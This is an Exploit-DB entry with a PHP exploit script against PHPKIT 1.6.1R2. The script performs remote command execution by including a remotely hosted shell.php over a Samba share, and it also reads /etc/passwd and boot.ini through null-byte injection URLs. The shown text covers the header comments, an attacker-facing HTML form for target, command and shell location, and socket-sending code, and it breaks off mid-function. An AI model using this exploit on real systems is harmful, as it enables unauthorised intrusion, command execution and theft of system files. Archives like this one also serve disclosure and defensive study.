Exploit-DB #1501
Description: PHPKIT 1.6.1R2 - 'filecheck' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-02-16
Author: rgod

Exploit:
<?php
#  ---PHPKIT_161r2_incl_xpl.php                          4.27 16/02/2006       #
#                                                                              #
#           PHPKIT <= 1.6.1R2 remote commands execution exploit                #
#                              coded by rgod                                   #
#                    site: http://retrogod.altervista.org                      #
#                                                                              #
#  -> works with allow_url_fopen = On                                          #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can  #
#  see is the strategy out of which victory is evolved."                       #

#  also if magic_quotes_gpc = Off, you can view any file on target system by null
#  char injection:
#  http://[target]/[path]/include.php?path=/etc/passwd%00.php
#  http://[target]/[path]/include.php?path=c:\boot.ini%00.php 
#  4 lines above added /str0ke

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",0);
ob_implicit_flush (1);

echo'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit **
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
* PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/phpkit/ or just / ) </span></p><p><input type="text" name="cmd">          <span
class="Stile5"> * specify a command   </span>   </p>   <p>   <input  type="text"
name="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\\\192.
168.1.2\\c\\path_to\\shell.php </span></p> <p> <input   type="text" name="port">
<span class="Stile5">specify  a  port other than  80 (default value)</span> </p>
<p><input   type="text" name="proxy"><span class="Stile5"> send  exploit through
an HTTP proxy (ip:port) </span>  </p>  <p>  <input   type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".htmlentities($datai)."</td>";
    }
    else {
      echo "<td>".htmlentities($datai)."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".htmlentities($headeri[$li])."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048